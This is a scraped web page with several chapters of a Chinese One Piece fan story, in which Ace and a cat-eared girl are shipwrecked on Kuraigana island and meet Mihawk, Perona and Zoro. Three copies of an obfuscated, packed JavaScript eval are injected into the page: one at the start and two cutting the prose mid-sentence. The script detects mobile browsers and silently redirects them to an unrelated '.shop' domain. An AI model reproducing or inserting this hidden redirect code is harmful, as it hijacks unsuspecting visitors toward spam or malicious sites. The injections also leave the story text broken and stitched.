;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977384|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴枕着手臂,看着艾斯熟练地调□□帆,白胡子海贼团的旗帜在桅杆顶端猎猎飞扬,仿佛一位沉默而强大的守护神。 她趴在船舷上,湛蓝色的眼睛亮晶晶地望向正在做最后准备的艾斯。 “所以,艾斯当年也是从这里出海的么?”她的声音带着好奇和一丝向往。 艾斯正将最后一点物资固定好,闻言抬起头,迎着海风整理了一下头顶的橙色牛仔帽,脸上是毫不掩饰的爽朗笑容。 “是哦!”他走到帆索边,检查着缆绳,“不过我当时就是艘小船,带着一点点水和食物,还有满脑子不切实际的梦想。” “前锋号是我和丢斯那家伙一起,一点点修起来、改造成的。”艾斯拍了拍坚实的船舷,眼神里带着对往昔的怀念和一丝得意,“当时真是危险啊,被困在荒岛上,差点就饿死渴死了。说起来,我的烧烧果实也是那时候得到的……” 他顿了顿,像是想起了什么有趣的回忆“丢斯那家伙,明明饿得眼睛都绿了,还嘴硬不好意思吃,非要摆什么架子,哈哈!” 对于卖好兄弟的黑历史,艾斯毫无心理负担,甚至笑得格外开心。小狸也忍不住跟着笑起来,眉眼弯弯,看着他神采飞扬地讲述那些充满惊险和趣味的往事。 “真的没关系吗,艾斯?”笑过之后,小狸还是有一丝担忧“咱们两个就这么跑了,爷爷会气死的吧?他会不会很快追上来?” 艾斯拍了拍手上的灰,走到她身边,同样靠着船舷坐下,语气轻松又笃定:“放心!等他知道的时候,我们早就跑没影了!” “所以记录指针怎么用呢?”小狸捧着记录指针转来转去,迷茫的看着艾斯 艾斯看着自己连记录指针都看不明白的“航海士”,忽然觉得这次的旅行一定充满了快乐。 小狸气呼呼的瞪他“你别光笑呀,真是的!” 最初的航行顺利得令人心醉。虽然船上的航海士小姐不太靠谱,但所幸舵手艾斯的记忆和航海知识非常扎实,结合小狸对风向、水流异乎寻常的敏锐感知,他们巧妙地避开常规航线,专挑一些悬赏金适中、又不太扎眼的海贼团下手。 过程往往干脆利落。在卡普魔鬼训练下飞速成长的小猫早就学会了精准而高效地解决战斗。她的速度飞快,随着对果实力量的理解加深,已经用了不菲的出其不意的干扰能力,燃烧着火焰的纤细身影像是一道幽灵般冲入人群,她的利爪能轻易撕开普通的刀剑和护甲,敏捷的身形让敌人眼花缭乱,到最后艾斯主要的工作只有开船而已。战斗结束后,她会仔细地清点战利品,将悬赏犯捆好,计算着能换到的贝利,然后抬起头,对艾斯露出一个混合着成就感和“我们又赚了一笔”的、有点小财迷模样的笑容。艾斯总是看得心头发软,忍不住伸手捏捏她的脸蛋,或者直接把人捞过来,用一个带着硝烟和海水气息的吻作为奖励。 悬赏金一笔笔累积,背包渐渐充实。他们开着不知道从哪个倒霉海贼团那里缴获的船,像一对配合默契的赏金猎人搭档,又更像是借着抓捕海贼的名义,尽情享受二人航行和探索的乐趣。白天在海上横冲直撞,夜晚就他们窝在整理出来的休息室,头靠着头研究海图,计划下一个目的地;或者干脆躺在甲板上,看着漫天繁星,听艾斯讲更多海上的故事,直到小狸靠在他肩头,发出均匀细微的呼吸声。 随着海贼的口口相传,海军总部那虚假的谎言终于无法继续维持 一个荒谬的消息传遍了无数的酒馆旅社,街头巷尾 火拳艾斯还活着,火拳艾斯回来了 80.海上哪里都能遇到熟人 伟大航路的天气向来不可预测 那日的变故来得毫无征兆。上一秒,艾斯还懒洋洋地躺在船头甲板上,帽子扣在脸上,享受着午后暖阳穿透眼皮的橘红光影,耳边是小狸清洗莓果时,清水流过指缝的淅沥声和她偶尔因为尝到酸味而发出的细微吸气声。下一秒,原本晴朗的天空毫无征兆地阴沉下来,乌云翻滚,迅速吞噬了光线。海风变得狂暴,卷起数米高的浪头,狠狠拍打着船舷。 “小狸,抓紧东西!”艾斯的声音斩断了片刻的愣怔。他话音未落,狂风已然尖啸着扑来,带着蛮横力道,抽打得帆索猎猎作响,船身猛地向一侧倾斜。 小狸几乎在艾斯出声的同时就丢开了手中的果篮,敏捷地扑向最近的主桅杆的基座。她的手指死死抠进粗糙的木纹,指节瞬间泛白。心脏在胸腔里擂鼓般狂跳,不是出于恐惧,而是面对骤然剧变的自然之威时,生物最本能的战栗。 艾斯已冲向船舵。他脚下的木板在狂风的摇晃中发出呻吟,手掌刚握住舵轮,一股数米高的巨浪便如同崩塌的山峦,裹挟着震耳欲聋的轰鸣,狠狠撞向船体左侧! “砰——!!!” 船身剧烈震动,几乎要被掀翻。咸腥冰冷的海水劈头盖脸地浇下,瞬间浸透了两人单薄的衣衫。小狸被这巨大的冲击力撞得松了手,身体向后滑去,眼看就要撞上船栏。一条滚烫的手臂在千钧一发之际猛地箍住她的腰,将她死死护在了自己的怀抱中。 “抓紧我!”艾斯的声音贴着湿透的发丝传来,盖过了风浪的嘶吼。他的胸膛急促起伏,体温透过湿冷的衣物传递过来,成为这片冰冷狂暴中唯一的锚点。 小狸没有丝毫犹豫,双手紧紧环住他的腰,脸埋在他胸口,感受着他紧绷肌肉下贲张的力量和沉稳的心跳。 艾斯一手死死抱着她,一手与狂暴的海浪争夺着船舵的控制权。他咬紧牙关,舵轮在他掌心疯狂转动、震颤,仿佛一头试图挣脱束缚的猛兽。在自然之威面前,人类能做到的微乎其微,他只能凭借经验和直觉与大海搏斗。 “艾斯!记录指针坏掉了!”小狸在又一次巨浪撞击的间隙吼道,声音嘶哑。 她艰难地抬起头,湿透的黑发黏在苍白的脸颊上。那枚一向指向明确方向的玻璃球,此刻正像发了疯一样高速旋转、颤抖,内部的指针早已失去方向,疯狂地撞击着球壁,发出细碎而刺耳的咔哒声,最终软绵绵地垂落,指向一个诡异的方位。 磁气风暴!而且是极其强烈的、足以扰乱岛屿磁场的特大磁暴! 艾斯的眉头拧成了死结。这不是普通的暴风雨,这是伟大航路深处最危险的陷阱之一!他当机立断,试图操控船舵将船头转向更安全的区域。 然而,海水突然毫无征兆地开始疯狂旋转,一个巨大的漩涡瞬间成型,中心深不见底,边缘翻涌着惨白的泡沫。更恐怖的是,一道接天连海的灰黑色水龙卷从漩涡中心拔地而起,将周围的海水、空气都疯狂地吸纳过去! 恐怖的吸力传来,船体发出不堪重负的声响,开始不受控制地向其滑去。这艘临时收缴来的海贼船,其结构与强度显然没有战胜天灾的能力,船体结构发出了令人牙酸的吱嘎声。就在艾斯与小狸头顶,那根粗壮的主桅杆,终于承受不住压力,从中间轰然断裂! 断裂的巨木裹挟着撕裂的帆布朝着他们所在的位置狠狠砸落 “小心!” 艾斯瞳孔骤缩,再也顾不得船舵,用尽全身力气带着小狸躲闪向一侧。 “轰!!!” 沉重的桅杆擦着艾斯的后背砸在甲板上,木屑纷飞,将坚硬的甲板砸出一个骇人的凹坑。紧接着,失去主帆控制的船体被水龙卷边缘的乱流狠狠卷中,像一片无助的落叶般被抛起、摔落! 天旋地转。 世界只剩下震耳欲聋的轰鸣、冰冷海水的冲刷、失重带来的恶心感,以及紧紧缠绕在腰间、无论如何也不肯松开的滚烫手臂。 艾斯将小狸死死护在怀里,用自己宽阔的背脊抵挡着大部分撞击和飞溅的碎木。他能感觉到尖锐的木刺划过皮肤的刺痛,能听到船体龙骨发出濒临崩溃的哀鸣,但怀中小小身躯的颤抖和紧紧抓着他衣襟的冰凉手指,让他将所有力量都用于维持这个保护的姿态。 不知过了多久,也许只有几分钟,却漫长得像一个世纪。那毁灭性的吸力终于减弱,水龙卷缓缓消散。狂暴的风浪虽然依旧,但已失去了那股毁天灭地的集中力量。 幸也不幸,他们大概并未处于核心位置,他们的船体像一具残破的躯壳,歪斜地漂浮在逐渐平息、却依旧波涛起伏的海面上。天空露出了惨淡的、灰白色的光。 艾斯剧烈地咳嗽了几声,吐出呛入肺腑的咸涩海水。他缓缓松开手臂,低头查看怀里的小狸。“小狸?受伤没有?” 小狸的脸埋在他胸口,湿透的黑发糊了一脸。她慢慢地抬起头,湛蓝色的猫瞳里还残留着惊悸的水光,睫毛上沾着细小的水珠。她脸色苍白,嘴唇失了血色,但眼神却迅速恢复了清明和镇定。她摇了摇头,声音有些沙哑:“我没事……艾斯,你背上……” 她看到他后背上几道被木刺划破的血痕,眉头立刻蹙了起来,她伸出手,乳白的光晕笼罩了那几处皮外伤,细胞的活力被调动到极致,伤口开启快速愈合。 “小伤。”艾斯浑不在意地摆摆手,撑着甲板站起身,环顾四周。一片狼藉。甲板上到处是积水、断裂的绳索、破碎的木板。主桅杆彻底毁了,船舱也进了不少水。最重要的是——他们出发前辛辛苦积攒、存放在船舱里的食物和淡水桶,早已在刚才的颠簸中被海浪卷走,消失无踪。 记录指针依旧软趴趴地垂着,彻底失灵。 举目四望,只有无边无际的海水,而在远方的海平线上,一个笼罩在朦胧灰白色雾气中的、轮廓险峻嶙峋的黑色岛屿阴影悄然浮现。 那岛屿散发着一种与周围海域格格不入的孤高、冷寂的气息。 “看来…我们漂到不得了的地方了啊。”艾斯抹了把脸上的海水,望着那座迷雾之岛,眉头微挑。非但没有遭遇海难后的沮丧或恐慌,那双黑色的眼眸深处,反而燃起了一丝被意外和未知点燃的、属于冒险家的兴味光芒。绝境之中,往往藏着最意想不到的风景不是吗? 小狸也挣扎着站起,湿漉漉的衣服紧贴在身上,勾勒出纤细的轮廓。她甩了甩头发,水珠飞溅,那对黑色的猫耳警觉地竖得笔直,微微转动着,捕捉着风中每一丝细微的信息。 艾斯看了一眼脚下这艘随时可能散架的海贼船残骸,果断道:“这船不行了。我们换前锋号。” 幸亏他们习惯将更小巧坚固、性能也更可靠的前锋号作为备用船,用锁链固定在主船后方。虽然刚才的风暴也让它受了些颠簸,但主体结构完好。两人艰难地将所剩无几的、从浸水的船舱角落里翻出的几件干燥衣物和艾斯随身的小包裹转移到前锋号上,解开锁链,彻底放弃了那艘海贼船。 前锋号小心地避开海面上漂浮的残骸,朝着那座笼罩在迷雾中的岛屿驶去。 --- 靠岸的过程,远比想象中更加艰难。 岛屿周围的海水呈现出一种不自然的、仿佛沉淀了过多墨汁的深黑色,透明度极低,水下隐藏着大量狰狞的暗礁。小狸不得不将火焰凝聚在掌心,形成一小团稳定的光源,低低地贴近水面,才能勉强看清前方水下的情况。即使如此,前锋号的船底仍数次与尖锐的礁石发生令人牙酸的刮擦。 好不容易,在一处海岸找到一个勉强能容纳前锋号的狭窄凹陷。艾斯用缆绳将船牢牢固定在突出的岩角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979448|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,率先跃上湿滑的岩石。 触感冰凉坚硬,不像寻常的土壤或沙石,倒更像是踩在粗糙的、混杂了金属颗粒的矿渣上。他转身,伸出手。小狸将手搭在他掌心,借力轻盈地跃上岩岸,落地悄无声息。 双脚踩实地面,那种“不对劲”的感觉更加强烈了。岛屿上的植被高大、扭曲、颜色深暗,树木的枝干虬结盘错,叶片是墨绿近黑的颜色,表面覆着一层湿漉漉的、类似苔藓的暗色物质。 “这里…感觉好不舒服。”小狸不自觉地贴近艾斯,声音压得很低,如同耳语。她全身的肌肉都处于微微紧绷的状态,尾巴上的毛发根根竖起,尾尖绷得笔直,缓慢而警惕地左右扫动。那双猫瞳在晦暗的光线下微微收缩,努力穿透迷雾,捕捉任何可能移动的轮廓。 艾斯将小狸往身侧带了带,用半个身体将她护住,另一只空着的手掌心向上,“噗”地一声,燃起一团稳定的橘红色火焰。火焰驱散了方圆几米内令人不适的湿冷和昏暗,跳跃的光芒在他轮廓分明的脸上投下晃动的阴影,却让他的眼神显得更加锐利。 “跟紧我。”他的声音沉稳,带着不容置疑的力量。 两人以火焰为灯,踏着坚硬崎岖的地面,小心翼翼地向岛屿内部探索。脚下的“道路”与其说是路,不如说是巨大岩石和扭曲树根之间自然形成的缝隙。周围始终是那种死寂,只有他们的脚步声、衣料摩擦声、火焰燃烧声,以及自己越来越清晰的心跳声。 走了大约十几分钟,前方的雾气似乎略微散去了一些,视野稍稍开阔。映入眼帘的,是一片相对平坦的、布满大小不一碎石的空地。而在空地尽头,雾气朦胧之中,赫然矗立着一栋建筑的轮廓。 那是一座城堡。风格古典而宏伟,有着高耸的尖顶、巨大的拱窗和厚重的石墙。然而,它早已失去了昔日的荣光,整座城堡散发着一股浓重的、被遗弃了数个世纪的荒凉与孤寂。 而就在城堡前方那片碎石空地上,正上演着一幕让小狸瞬间屏住呼吸的景象。 一个男人背对着他们,站在空地中央。 他身形高挑挺拔,衣着看似简单——酒红色花纹衬衫,黑色长裤,外罩一件沉稳的黑色风衣——却透着一股无法言喻的、老派贵族的优雅与从容。他没有佩带任何显眼的武器,只是那样安静地站立着,右手随意的握着一把黑色小刀。 小狸不自觉的想起了比斯塔,和比斯塔相似的锐利气息,细节处却又截然不同,不是比斯塔那优雅游刃有余的气势,而是冰冷,锋锐,将剑意凝练到极致的气息。 那不是杀气,而是一种更高层次的、近乎规则的“存在感”。仅仅是目光触及他的背影,小狸就感觉皮肤像是被无数细密的针尖轻轻刺着,呼吸不自觉地放轻、放缓,仿佛稍微重一点,就会惊动那片无形的、由绝对“锋利”构成的领域。 小狸认识他,在马林梵多的战场上,现在自己对立面的七武海 世界第一大剑豪,“鹰眼”朱洛基尔·米霍克。 而在不远处,一个穿着哥特打扮、打着阳伞、飘浮在空中的粉发少女,正捂着嘴,发出“呵啰呵啰呵啰”的怪异笑声,饶有兴致地看着空地中央的对决——如果那能称之为对决的话。 一个绿色头发、左眼带着疤痕、缠着头巾的男人,正一次又一次,悍不畏死地冲向鹰眼……或者说,冲向鹰眼身前那片无形的领域。他手中是三把刀,攻势凌厉疯狂,带着野兽般的执着。然而,每一次冲击,都仿佛撞上了一堵看不见的、由绝对锋利构成的墙壁,他手中的刀不断被弹开、斩断,身上添着新的伤口,鲜血染红了脚下的碎石,但他眼中的火焰却越烧越旺,爬起来的动作一次比一次更快。 那张脸小狸更加熟悉,他们曾经同行过,是路飞船上的剑客,罗罗诺亚·索隆。 81.入住鹰眼的大house 或许是新出现的陌生气息打破了此地原有的平衡,空地中的几道目光,几乎在同一时间,转向了他们闯入的方向。 飘浮的佩罗娜最先转过头,眼睛眨了眨,脸上惊讶和好奇的神色毫不掩饰,目光像探照灯一样扫过艾斯,然后牢牢地定格在小狸身上,尤其是在她那双因为紧张而微微抖动的黑色猫耳和身后那条炸毛的尾巴上流连。 “咦?有新的客人?呵啰呵啰呵啰……”她的笑声在寂静的空地上显得格外清晰,带着一种天真又诡异的味道,“还是一对看起来挺有趣的组合呢。你是……动物系能力者吗?” 小狸被这直白而好奇的目光看得有些不自在,耳朵向后抿了抿,几乎要贴住头皮。她努力维持着镇定,小声地回答:“……不算是。” “不算是是是还是不是?”佩罗娜歪了歪头,粉色的发卷随之晃动,显然对这个陌生的词汇感到困惑,但眼中的兴致更浓了。 几乎在佩罗娜开口的同时,空地中央,用刀支撑着身体、单膝跪地剧烈喘息的索隆,也猛地抬起了头。汗水、血水和尘土模糊了他刚毅的脸庞,但当他的目光触及艾斯那张熟悉的面孔时,双眼骤然瞪大到极限,瞳孔深处爆发出惊愕到近乎骇然的光芒,仿佛看到了绝不可能存在于世间的幽灵。 “艾…艾斯?!!”嘶哑的声音从他撕裂的喉咙里挤出,因为极度的疲惫和难以置信的震惊而变了调,如同砂纸摩擦,“是…是你?!你还活着?!!” 最后一个字,几乎是吼出来的,带着一种连他自己都未曾察觉的急切。顶上战争的结局传遍世界,路飞在失去兄长后的崩溃与痛苦,作为最早陪伴他、发誓要助他实现梦想的伙伴,索隆比任何人都更清楚那份伤痕有多深。他放弃了自己的尊严,拜自己的敌人为师,希望可以获得更多的力量守护自己的同伴,而此刻,那个早已被认定陨落的火焰,竟然活生生地出现在这片与世隔绝的岛屿上! 而始终背对着他们、如同雕塑般的鹰眼,也在此刻,缓缓地、以一种极其平稳而充满掌控感的姿态,转过了身。 “唰——” 那一瞬间的感觉,难以用语言精确描述。小狸感到一股锐利的气息,正以超越感知的速度,轻柔而冰冷地贴着自己的皮肤、沿着神经掠过。 马林梵多的战场太过混乱,而现在她终于有时间打量这位传奇剑豪的面容。冷峻的轮廓,锐利如鹰隼的金色双眸。那双眼瞳颜色奇异,目光平静无波,却仿佛蕴含着看穿一切虚妄与弱点的穿透力。他的视线先在艾斯脸上停留了短暂的一瞬,似乎轻易便认出了这位曾搅动大海风云的白胡子海贼团队长,眼中掠过一丝极淡的、几乎无法捕捉的微澜,像是平静湖面被投下一颗小石子,荡开一圈几乎看不见的涟漪。然后,那目光便移开了,落在了被艾斯下意识地、以保护姿态微微挡在身后的小狸身上。 那目光罕见的带上一丝惊讶,作为顶上战争的参与者,对于艾斯还活着这件事他并不惊讶,他惊讶于这个改变了战局的猫耳少女竟然此时也好好地站在这里,甚至似乎并没有因为海军大将那狂暴的一击受到过多的伤害。 城堡荒芜的废墟前,灰白色的雾气无声流淌。一方是立于世界剑道顶点的传奇与幽灵公主,一方是卷土重来、携带着异世羁绊的火焰,中间,还跪着一个伤痕累累、意志却如钢铁般不屈的未来剑豪。 空气仿佛被冻结了,沉重得能滴出水来。只有风穿过废墟空洞时发出的、如同呜咽般叹息,以及索隆无法抑制的、粗重而痛苦的喘息声。 最终,打破这片凝滞的,是鹰眼。他的声音响起,如同他给人的感觉一样,平稳、低沉,却清晰地传入每个人耳中。 “白胡子的儿子和女儿,”他的目光重新落回艾斯身上,语气平淡,听不出任何情绪起伏,仿佛只是在陈述一个简单的事实,他微微顿了一下,金色的瞳仁里映着跳跃的火光和少女警惕的蓝眸,“迷失方向的旅人,还是…不请自来的挑战者?” 艾斯握着小狸的手不自觉地收紧,他能感受到她掌心的微凉和细微的颤抖。他上前半步,以一种更坚定、更全面的姿态将小狸挡在自己身后,宽阔的肩膀仿佛能隔绝一切危险。面对这位传说中的、实力深不可测的强者,他脸上没有丝毫畏惧或怯懦,反而扬起了那个标志性的、带着海贼特有的桀骜与不羁的笑容,只是此刻,这笑容里多了一丝因场合而产生的、恰到好处的收敛。 “前者,朱洛基尔·米霍克。”他坦然回答,声音清晰有力,目光毫不避讳地迎上那双锐利的金眸,“我们的船被突发的磁气风暴卷到了附近海域,损毁严重,不得已上岸寻求修整和补给。”他的视线扫过不远处浑身浴血、却依然用燃烧般眼神望向这边的索隆,补充道,语气里带上了一点复杂的意味,“看来,我们似乎无意中,打扰了一场至关重要的‘修行’。” 佩罗娜飘近了一些,像一只轻盈的幽灵,绕着艾斯和小狸飞了小半圈,粉色的洋伞在她手中轻轻旋转。她凑到小狸面前,几乎要贴到她脸上,大眼睛里充满了纯粹的好奇:“呵啰呵啰…火拳艾斯?报纸上不是都说你已经死掉了吗?居然还活着呀!命真大!不过……”她的注意力很快又回到小狸身上,伸出手指,似乎想戳一戳那抖动的猫耳,但在艾斯骤然变得有些凌厉的目光下,又讪讪地缩了回去,“这个小猫妹妹真的好可爱!你还没有回答我?不是果实能力的话那是什么?毛皮族吗?” 小狸被佩罗娜过于贴近的脸和连珠炮似的问题弄得不知所措,尾巴也不安地在身后小幅度摆动。她求助般地看了一眼艾斯,然后努力让自己的声音听起来平稳一些:“……算是吧。”虽然在大家毫不保留的包容与关爱下她已经不再介意自己实验体的身份,但是果然也没必要反复提及,尤其是在这个还不明身份的陌生人面前 “算是吧又是什么意思?”佩罗娜眨了眨眼,显然无法理解,但也没有深究,只是“呵啰呵啰”地笑着,“不过无所谓啦,反正很可爱就对了!我喜欢可爱的东西~比某个只会修炼、满身臭汗的绿藻头有趣多了!” 这时,索隆仍用那柄刀支撑着身体,摇摇晃晃地、极其艰难地试图再次站直。每一次肌肉的牵动都让他额角迸出新的冷汗,伤口渗出更多的鲜血,但他仿佛感觉不到疼痛,目光如同焊接般死死钉在艾斯身上,那只完好的右眼里,混合着震惊、狂喜、不敢置信,以及更深沉的、属于伙伴的关切。 “艾斯…咳咳…”他刚开口,就引发了一阵剧烈的咳嗽,嘴角溢出更多的血沫,但他强行压下,声音嘶哑得如同破风箱,“真的是你?!你还活着…路飞他…路飞那家伙……”话说到一半,似乎不知道该如何继续,或者说,巨大的情绪冲击和身体的极度虚弱,让他一时语塞。 艾斯看着索隆那双急切的眼睛,看着他即使濒临极限仍挺直的脊梁,心中那股暖流汹涌澎湃。他能想象路飞在以为自己死后会经历怎样的痛苦,而眼前这个剑士,显然也一直将那份沉重挂在心头。他重重地点了点头,脸上的笑容褪去了桀骜,变得真诚而温暖,甚至带着一丝如释重负的柔和:“啊,侥幸捡回一条命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981634|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。让那小子担心了,抱歉。” 这句话像是一个开关,瞬间卸掉了索隆强行支撑的某根弦。他猛地吐出一口带着血腥味的浊气,一直紧绷如弓弦的身体几不可查地松弛了一毫,虽然依旧跪得笔直,但那股决死的惨烈气息悄然淡去了一些。他扯动嘴角,似乎想笑一下,却因为脸上的血污和疼痛而显得有些狰狞,但眼神明亮了许多:“这样么……真好啊” 鹰眼始终沉默地听着这段短暂的对话,如同一位置身事外的旁观者。直到此刻,索隆的身体因为失血和脱力,终于开始无法控制地晃动,他才再次开口。声音依旧平稳无波,与拂过废墟的微风并无不同。 “叙旧的话,可以稍后进行。”他平淡地陈述,目光掠过艾斯,在他身后好奇张望又难掩紧张的小狸身上短暂停留,最终落回摇摇欲坠的索隆身上,“罗罗诺亚·索隆,你的意志,我看到了。但你的身体,今日已抵达极限。”他的话语没有任何感情色彩,只是在陈述一个客观事实,带着一种不容置疑的权威,“继续下去毫无意义,只会浪费我的时间。” 索隆咬紧牙关,额角青筋暴起,还想强撑,但失血带来的眩晕和四肢百骸传来的疲惫与疼痛,让他的视线开始模糊,身体不受控制地向后踉跄了一步。 佩罗娜飘到他旁边,做了个夸张的鬼脸,用阳伞轻轻戳了戳他染血的手臂:“喂!笨蛋绿藻头!快点回去包扎啦,听不懂话吗?你真的想血流干死在这里啊?呵啰呵啰……到时候变成幽灵,我可就不客气了哦!” 小狸见状,从艾斯身后探出小半个身子。她清澈的蓝眼睛望向鹰眼,又看了看索隆,声音不大却清晰地开口道:“那个……如果需要帮助的话,我是个医生。虽然治不了什么大病,但处理外伤和止血…应该可以。” 鹰眼的目光再次转向她,那双金色的眼眸里似乎有什么极细微的东西动了一下。他没有立刻回答,只是平静地审视着她,像是在评估她话语的可信度,以及她本身的存在。几秒钟后,他几不可查地微微颔首。 “城堡里有空置的房间。”他终于做出了安排,语气依旧平淡,却带着一种自然而然的、不容置疑的掌控感,“佩罗娜,带他们去安顿。顺便,”他看了一眼几乎快要失去意识的索隆,“处理一下他的伤势。我不需要一个还没达到要求就提前死掉的挑战者。” “不要随便命令我啦!真是的,一个两个的!”佩罗娜气呼呼的鼓起脸,像是接到了什么麻烦的任务。她先飘到索隆身边,伸出手似乎想拽他,又嫌弃地看了看他满身的血污,最终只是用阳伞指了指方向,“绿藻头,还能走吗?脏死了,你自己走回去吧!呵啰呵啰……”然后,她又飘回艾斯和小狸面前,脸上带着甜美的、却总让人觉得有点诡异的笑容,“新来的客人们,也请跟我来吧~这座阴森森的岛上,可是很久没有‘活生生’的客人来访了呢!希望你们不要被吓到,我真是受够那两个扑克脸男人了!” 她似乎很久没有和其他人说话了,兴奋的不行,一直飘在小狸身边喋喋不休 “晚上来做些好吃的吧~我对于自己的手艺还是很有自信的,地里还有很多蔬菜,小猫咪你喜欢吃鱼嘛?……” 在这座被迷雾、寂静笼罩的、名为克拉伊咖那的孤岛之上,在传说中世界第一大剑豪隐居的城堡前,两段原本平行的航迹,被一场突如其来的风暴强行扭转,于此交汇。 二人的世界之旅,一头撞入了剑士修行地狱的篇章。前方等待着他们的,是短暂的休整,是旧友的重逢以及悄然滋生的无限可能。 82.幽灵公主 克拉伊咖那岛的夜晚来得早,也格外深沉。佩罗娜领他们去的,是城堡西翼一处相对完好的房间。与城堡外表不同,房间内部显然被经常使用和维护。空间宽敞,石头墙壁上挂着厚实的挂毯以抵御湿寒,壁炉里已经放好了柴火,艾斯打了个响指,温暖的火焰驱散了阴冷。 索隆几乎是半靠在艾斯身上被搀进来的。虽然他自己拒绝被帮助,但失血和脱力让他步履蹒跚。一进房间,他便脱力般靠在墙壁上,胸膛剧烈起伏,每一次呼吸都牵动着身上纵横交错的伤口。 “医药箱在那边架子上。”佩罗娜飘在半空,指了指房间角落一个结实的木架,自己则轻盈地落进壁炉边一张过分华丽的绒面扶手椅里,摆出一副准备观赏好戏的姿态,“呵啰呵啰……小猫医生,需要我帮忙递东西吗?虽然我更擅长让人生病而不是治病啦~” 索隆的伤口很深需要缝合,显然鹰眼的教导比卡普还要更严厉一些。不过这恰好是小狸熟悉,甚至有些久违的领域,处理各种皮开肉绽的创伤曾是她的日常。 小狸端着器械走到索隆面前。“需要清理伤口,有些需要缝合。会有点疼。”她的声音有点跃跃欲试,在莫比迪克号上,有更专业的护士姐姐们负责这些,她反而很少有机会亲手处理复杂的缝合,都觉得有些手痒了,她甚至一时因为锈带麻醉药物的匮乏脑海中完全没有麻醉的概念,索隆显然也是如此 索隆费力地抬起眼皮,汗水将墨绿色的短发黏在额际。他看了看小狸,又掠过她身后倚着门框的艾斯,嘴角扯动,露出一个混合着痛楚和惯有的倔强的弧度:“尽管来。”说完,他重新闭上眼,牙关紧咬,下颌线条绷得像岩石,全身肌肉也随之绷紧。 ……你这么绷着我怎么缝嘛!一会又要出血了。 虽然这么想,但是小狸没有说出来。她动作利落地用剪刀剪开索隆身上与血污黏结的衣物,狰狞的伤口彻底暴露在火光下。她消毒冲洗伤口,针线飞速穿过皮肉,房间里只剩下壁炉木柴轻微的噼啪声以及针线穿过皮肉时细微的声响。小狸的手法快的惊人,那不是教科书上的标准缝合,而是充满了锈带特色,追求效率与牢固的野路子,针脚绝对说不上好看,但是足够用了。 佩罗娜起初还兴致勃勃地看着,等着看绿藻头痛苦哀嚎之类的有趣表情,但见他只是死死咬牙,汗如雨下,却硬是一声不吭,顿觉无趣,转而开始摆弄衣角,用细细的嗓音哼起调子古怪、时断时续的歌谣。 当最后一道伤口被妥帖缝合、小狸动作夸张的擦了擦并没有的汗水,小声呼了一声 “好了。伤口很深,近期绝对不能再剧烈运动,注意保持干燥清洁。如果发烧或者伤口红肿感染,要立刻告诉我哦。” 索隆试着极其轻微地活动了一下肩膀,立刻因牵拉伤口的锐痛而蹙紧眉头,但比起之前那种身体随时会散架的濒危感,现在的疼痛清晰、明确,处于可控的范围。他看向小狸,目光里是实实在在的感激,但说出来的话依旧带着剑士的硬气:““……谢了,不过,我在修行,这点小伤不是问题。” 看着他这副满不在乎、仿佛身体只是承载意志工具的模样,小狸心里蓦地升起一股混合着无奈和“果然如此”的感慨。这些家伙,一个个都不把身体当回事,真该让他们好好尝尝苦头……但是谁让他是路飞的同伴呢 “下不为例啊。”她忽然说,语气带着点莫名的强调。 索隆还没反应过来这“下不为例”具体指什么,就见小狸的双手轻轻按在了他刚包扎好的、伤势最重的几处地方上方。紧接着,他感到一股温和而奇异的暖流从她掌心渗透出来,透过绷带,缓缓注入伤口。那是一种生机勃勃的、带着安抚力量的暖意。伤口处火辣辣的疼痛竟以清晰可感的速度减轻,取而代之的是一种麻痒——那是细胞在加速愈合的征兆,他能感觉到撕裂的肌肉和皮肤正在被这股柔和的力量滋养、连接。 “这是,什么?” 索隆震惊的瞪大了眼,难以置信地看向小狸,小狸却顽皮的眨了眨眼睛“这是‘修行’哦~修行。分开这么久了,又不是只有你一个人在进步”她轻巧地收回手,那股暖流也随之消失,但伤口处残留的舒适感和明显的愈合趋势是真实的。 看这边已经处理完毕,佩罗娜飘过来,绕着包扎整齐的索隆飞了一圈,夸张地惊叹:“哇!包得好整齐!比我上次包的漂亮多了!呵啰呵啰!小猫医生好厉害!” 小狸被夸得有些不好意思,耳朵尖微微泛红,动了动,没有接话,只是默默转身去收拾散落的器械和药品。 艾斯这时才从门边走过来,自然地伸手,用略带薄茧的拇指指腹,轻轻擦掉小狸鼻尖上那一点几乎看不见的、晶莹的汗珠。“累不累?”他低下头,声音压得很低,带着只有两人能懂的关切,温热的气息拂过她的耳廓。 